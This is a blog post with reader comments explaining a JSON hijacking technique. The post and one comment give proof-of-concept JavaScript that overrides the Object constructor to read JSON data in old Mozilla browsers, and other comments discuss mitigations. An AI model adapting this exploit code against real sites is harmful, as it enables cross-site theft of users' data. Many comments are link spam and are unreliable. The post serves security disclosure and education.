<< JSON is not as safe as people think it is | Home | DWR/Netbeans Plug-in >>

JSON is not as safe as people think it is, part 2

Yesterday, I blogged about how to steal data from JSON by overriding the Array constructor. Today, we break into Objects too.

Mark Goodwin submitted a non-deprecated syntax that uses the __defineSetter__ feature, which was a good start (Aside: does anyone else think that's ugly?). Over iChat he also invented a setTimeout tweak, and I ported it over to Object.

So now you can steal data from any JSON object:

<script type="text/javascript">
var obj;
function Object() {
  obj = this;
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      }
    }
  });
  // call the setter when the JSON parse is done
  setTimeout("obj['killme']=2;", 0);
}
</script>
<button onclick="({ 'data':'wibble' })">Hack</button>

It's still not going to work anywhere but Mozilla, but now that's only because the JavaScript interpreters in the other browsers are out of date.

Tags :


Re: JSON is not as safe as people think it is, part 2

This is, of course, very easy to generalise beyond a single object:

<script type="text/javascript">
var toSteal=[];
var idx=0;

function steal(key){
  toSteal[key]['killme']=0;
}

function Object() {
  var obj = this;
  var curr = idx++;
  toSteal[curr] = obj;
  
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      } 
    }
  });

  // Steal the data when the JSON parse is done
  setTimeout('steal('+curr+')',0);
}
</script>
<button onclick="({'foo':'bar'});({ 'data':'wibble' })">demonstrate</button>

Re: JSON is not as safe as people think it is, part 2

your code can't run on firefox,which type of broswer it could run on, and when i return json i use '{..}' not the '({...})' format,does it matter?

Re: JSON is not as safe as people think it is, part 2

The code runs just fine for me on Firefox.

The () are there to ensure that the script interpreter sees the code as JSON and not a code block. It's an artifact of the way it's included in the page.

Re: JSON is not as safe as people think it is, part 2

Yeah, The code runs just fine for me on Firefox to. But the () are there to ensure that the script interpreter sees the code as JSON and not a code block. It's an artifact of the way it's included in the page. - The Data Recovery Company

Re: JSON is not as safe as people think it is, part 2

I am having the same problem, Firefox refuses to run the code Peter the garmin gps systems expert

Re: JSON is not as safe as people think it is, part 2

I can't see how this hack would allow an exploit if a JSON serialized object is returned. The button in your example works because of the () around the JSON, but without those braces, the hack fails (as the script can't be eval'd). In a real CSRF attack we need to include a script block with the src pointing to the vulnerable JSON resource. If this resource returns a JSON object without any var assignment, callback function, or surrounding braces then aren't we safe? This can be simulated in your example by adding a second script block with nothing but
{"foo":"bar"}
in it. I have tried this in Firefox, IE, Opera and Safari and have been unable to access that JSON data with the hack. I agree with your previous assessment that using the double cookie submission pattern is the safest approach, but I can't convince myself that the hack you detail in this article is a real danger.

Re: JSON is not as safe as people think it is, part 2

why is it now working on FF 3 ?

Re: JSON is not as safe as people think it is, part 2

I have tried this in Firefox, IE, Opera and Safari and have been unable to access that JSON data with the hack, i dont how it will work safely because one of my friend who i meet on internet while i was searching some good deals on shared web hosting services told me that he is using it and getting complete access i was not connected form ages so we can discuss it further but code you define is also not working while using that hack too, i would see it as i get some free time from small business web hosting services which i want to have for my business work and i will be here with complete details.

Workaround ?

Why not put in the data some characters that renders the script invalid in parsing. Did not test it, but if you do something like
---{mySecretValue: 36}
Then it should just throw some exception when someone is trying to load it with a script tag. When you load with XHR, however, you just have to do responseText.slice( 3 ) to get the parseable value.

Re: JSON is not as safe as people think it is, part 2

This is crazy how easy this is to do. This is so good to know. thanks for the info. orlando criminal defense attorney

Re: JSON is not as safe as people think it is, part 2

Firefoz is not helping me to fix this problem.I still cant belive that hack would allow an exploit if a JSON object is back.But the button you mentioned is working.Thanks to you people for sharing all this.

Re: JSON is not as safe as people think it is, part 2

Exactly what I needed to know, it's a big step into the right direction for me. thank you custom research papers

Re: JSON is not as safe as people think it is, part 2

If this resource returns a JSON object without any var assignment,then aren't we safe? This can be simulated in your example by adding a second script block with nothing... I agree with your previous assessment that using the double cookie submission pattern is the safest approach, but I can't convince myself that the hack you detail in this article is a real danger. free advertising |job|iphone repair

Re: JSON is not as safe as people think it is, part 2

wow you have a lot of great content here, I would suggest if you want more exposure to buy backlinks make money online

Re: JSON is not as safe as people think it is, part 2

Very interesting John TX | web hosting

Re: JSON is not as safe as people think it is, part 2

I will must share this blog and the information i found here really has no value in money but more than it. Thanks for this nice effort which you put here in the shape of this post.

Re: JSON is not as safe as people think it is, part 2

Thanks for providing very useful tips and guidelines! Web Design

Re: JSON is not as safe as people think it is, part 2

Awsome.. Thanks for the great information! I agree with what you wrote in this article.. Looking forward to more such posts.. Have added this blog to my news reader :) Buy Backlinks

Re: JSON is not as safe as people think it is, part 2

Yes, It is the topic which covers all the aspects of the subject with full depth and at the end produces a nice result based on the soul of the subject. finger pulse oximeter Thanks

Re: JSON is not as safe as people think it is, part 2

Does this script work in Google Chrome?

Re: JSON is not as safe as people think it is, part 2

You guys always deliver useful content. Awesome post. Very interesting and valuable videos. Keep posting more articles. Thanks for sharing useful info. fela lawyers

Re: JSON is not as safe as people think it is, part 2

I agree with your previous assessment that using the double cookie submission pattern is the safest approach, but I can't convince myself that the hack you detail in this article is a real danger.If this resource returns a JSON object without any var assignment, callback function, or surrounding braces then aren't we safe? This can be simulated in your example by adding a second script block with nothing.

humidifier

humidifier humidifier

Re: JSON is not as safe as people think it is, part 2

JSON is not as safe - i agree with this. - fotografia ślubna Bielsko

Re: JSON is not as safe as people think it is, part 2

I also saw some discussion recently about using JSON for secured data, and I'm not sure that everyone understands the risks. I believe that JSON is unsafe for anything but public data unless you are using unpredictable URLs.Thanks

Add a comment Send a TrackBack